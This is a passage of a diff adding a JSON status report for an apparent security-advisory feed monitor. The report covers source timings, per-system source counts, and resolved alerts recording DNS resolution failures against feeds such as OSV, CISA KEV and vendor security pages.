+ "elapsed_seconds": 1.912,
+ "kind": "rss-feed",
+ "items_seen": 10
+ },
+ {
+ "system_id": "wordpress",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 0.009,
+ "kind": "html-links",
+ "items_seen": 0
+ }
+ ],
+ "failures": [],
+ "slow_sources": [
+ {
+ "system_id": "moodle",
+ "source_name": "OSV Moodle",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 8.986,
+ "status": "ok"
+ },
+ {
+ "system_id": "adobe-commerce",
+ "source_name": "Adobe Magento Security Index",
+ "source_kind": "vendor-index",
+ "elapsed_seconds": 6.387,
+ "status": "ok"
+ },
+ {
+ "system_id": "mediawiki",
+ "source_name": "OSV MediaWiki",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.941,
+ "status": "ok"
+ },
+ {
+ "system_id": "redmine",
+ "source_name": "OSV Redmine",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.509,
+ "status": "ok"
+ },
+ {
+ "system_id": "kibana",
+ "source_name": "NVD Kibana",
+ "source_kind": "nvd-search",
+ "elapsed_seconds": 5.239,
+ "status": "ok"
+ },
+ {
+ "system_id": "phpmyadmin",
+ "source_name": "OSV phpMyAdmin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.239,
+ "status": "ok"
+ },
+ {
+ "system_id": "gitea",
+ "source_name": "OSV Gitea",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.232,
+ "status": "ok"
+ },
+ {
+ "system_id": "mattermost",
+ "source_name": "OSV Mattermost",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.204,
+ "status": "ok"
+ },
+ {
+ "system_id": "gin",
+ "source_name": "OSV Gin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.84,
+ "status": "ok"
+ },
+ {
+ "system_id": "django",
+ "source_name": "OSV Django",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.695,
+ "status": "ok"
+ }
+ ],
+ "systems": [
+ {
+ "system_id": "adminer",
+ "display_name": "Adminer",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "angular",
+ "display_name": "Angular",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "caddy",
+ "display_name": "Caddy",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "directus",
+ "display_name": "Directus",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "active_source_total": 3,
+ "green_source_total": 3,
+ "failure_count": 0
+ },
+ {
+ "system_id": "django",
+ "display_name": "Django",
+ "active_source_total": 3,
+ "green_source_total": 3,
+ "failure_count": 0
+ },
+ {
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "echo",
+ "display_name": "Echo",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "express",
+ "display_name": "Express",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "fastify",
+ "display_name": "Fastify",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "flask",
+ "display_name": "Flask",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "gin",
+ "display_name": "Gin",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "gitea",
+ "display_name": "Gitea",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "hapi",
+ "display_name": "Hapi",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "kibana",
+ "display_name": "Kibana",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "koa",
+ "display_name": "Koa",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "laravel",
+ "display_name": "Laravel",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "active_source_total": 3,
+ "green_source_total": 3,
+ "failure_count": 0
+ },
+ {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "medusa",
+ "display_name": "Medusa",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "active_source_total": 4,
+ "green_source_total": 4,
+ "failure_count": 0
+ },
+ {
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "react",
+ "display_name": "React",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "active_source_total": 2,
+ "green_source_total": 2,
+ "failure_count": 0
+ },
+ {
+ "system_id": "sveltekit",
+ "display_name": "SvelteKit",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "symfony",
+ "display_name": "Symfony",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "traefik",
+ "display_name": "Traefik",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "undici",
+ "display_name": "Undici",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "vite",
+ "display_name": "Vite",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "vue",
+ "display_name": "Vue",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "werkzeug",
+ "display_name": "Werkzeug",
+ "active_source_total": 1,
+ "green_source_total": 1,
+ "failure_count": 0
+ },
+ {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "active_source_total": 5,
+ "green_source_total": 5,
+ "failure_count": 0
+ },
+ {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "active_source_total": 5,
+ "green_source_total": 5,
+ "failure_count": 0
+ }
+ ]
+ },
+ "alerts": [
+ {
+ "alert_id": "adminer::OSV Adminer",
+ "system_id": "adminer",
+ "display_name": "Adminer",
+ "source_name": "OSV Adminer",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "adminer",
+ "display_name": "Adminer",
+ "source_name": "OSV Adminer",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "adobe-commerce::Adobe Magento Security Index",
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "Adobe Magento Security Index",
+ "source_kind": "vendor-index",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "Adobe Magento Security Index",
+ "source_kind": "vendor-index",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://helpx.adobe.com/security/products/magento.html",
+ "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "angular::OSV Angular",
+ "system_id": "angular",
+ "display_name": "Angular",
+ "source_name": "OSV Angular",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "angular",
+ "display_name": "Angular",
+ "source_name": "OSV Angular",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "apache-httpd::Apache HTTPD Security",
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "source_name": "Apache HTTPD Security",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "source_name": "Apache HTTPD Security",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://httpd.apache.org/security/vulnerabilities_24.html",
+ "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "apache-httpd::CISA KEV Apache HTTPD",
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "source_name": "CISA KEV Apache HTTPD",
+ "source_kind": "kev-json",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "source_name": "CISA KEV Apache HTTPD",
+ "source_kind": "kev-json",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "apache-tomcat::Apache Tomcat Security",
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "source_name": "Apache Tomcat Security",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "source_name": "Apache Tomcat Security",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://tomcat.apache.org/security-10.html",
+ "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "apache-tomcat::CISA KEV Tomcat",
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "source_name": "CISA KEV Tomcat",
+ "source_kind": "kev-json",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "source_name": "CISA KEV Tomcat",
+ "source_kind": "kev-json",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "aspnet-core::OSV ASP.NET Core",
+ "system_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "source_name": "OSV ASP.NET Core",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "source_name": "OSV ASP.NET Core",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "astro::OSV Astro",
+ "system_id": "astro",
+ "display_name": "Astro",
+ "source_name": "OSV Astro",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "source_name": "OSV Astro",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "caddy::OSV Caddy",
+ "system_id": "caddy",
+ "display_name": "Caddy",
+ "source_name": "OSV Caddy",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "caddy",
+ "display_name": "Caddy",
+ "source_name": "OSV Caddy",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "directus::Directus GitHub Advisories",
+ "system_id": "directus",
+ "display_name": "Directus",
+ "source_name": "Directus GitHub Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "directus",
+ "display_name": "Directus",
+ "source_name": "Directus GitHub Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/directus/directus/security/advisories",
+ "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "directus::OSV Directus",
+ "system_id": "directus",
+ "display_name": "Directus",
+ "source_name": "OSV Directus",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "directus",
+ "display_name": "Directus",
+ "source_name": "OSV Directus",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "discourse::Discourse Release Notes RSS",
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "Discourse Release Notes RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "Discourse Release Notes RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://meta.discourse.org/tag/release-notes.rss",
+ "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "discourse::Discourse Security RSS",
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "Discourse Security RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "Discourse Security RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://meta.discourse.org/tag/security.rss",
+ "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "discourse::OSV Discourse",
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "OSV Discourse",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
